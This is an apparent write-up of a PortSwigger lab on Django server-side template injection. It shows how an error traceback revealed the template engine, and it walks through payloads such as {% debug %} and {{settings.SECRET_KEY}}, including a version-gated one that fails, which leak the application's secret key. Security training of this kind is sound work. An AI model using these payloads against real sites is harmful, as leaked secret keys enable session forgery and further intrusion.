Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (Django, Information Disclosure)
Difficulty Practitioner
Objective Steal and submit the framework's secret key

Server-Side Template Injection with Information Disclosure via User-Supplied Objects

Log in as content-manager:C0nt3ntM4n4g3r. Going to a post, the templates can be modified.

Screenshot

Trying to force an error with an obviously bogus variable:

<p>Hurry! Only {{teto}} left of {{product.name}} at {{product.price}}.</p>
Screenshot

No error — undefined variables apparently just render as empty. Trying an empty tag instead:

<p>Hurry! Only {{}} left of {{product.name}} at {{product.price}}.</p>

This throws an error:

Internal Server Error

Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 482, in parse raise self.error(token, 'Empty variable tag on line %d' % token.lineno) django.template.exceptions.TemplateSyntaxError: Empty variable tag on line 19

Django — the empty tag is what actually revealed the engine, since undefined variables render silently. Checking PayloadsAllTheThings for Django:

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Django - Basic Injection

{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django - Debug Information Leak

{% debug %}

Django - Leaking App's Secret Key

{{ messages.storages.0.signer.key }}

Trying {% debug %}:

Screenshot

Works — confirms we can pull debug info out through the template.

Trying the PayloadsAllTheThings secret key payload:

<p>Hurry! Only {{ messages.storages.0.signer.key }} left of {{product.name}} at {{product.price}}.</p>

This doesn't work — the payload targets Django versions before 1.11, and the internal message storage structure changed in more recent versions. When a "known" payload doesn't work, it's worth checking if it's version-gated before assuming the technique doesn't apply at all.

Checking other resources, this article shows a different path:

Screenshot

Trying:

{{settings.SECRET_KEY}}
Screenshot

This works — accessing the settings object directly through the template context, a more direct and version-independent path than the message storage signer.

Screenshot

We sumbit the leaked key and this solves the lab

Resources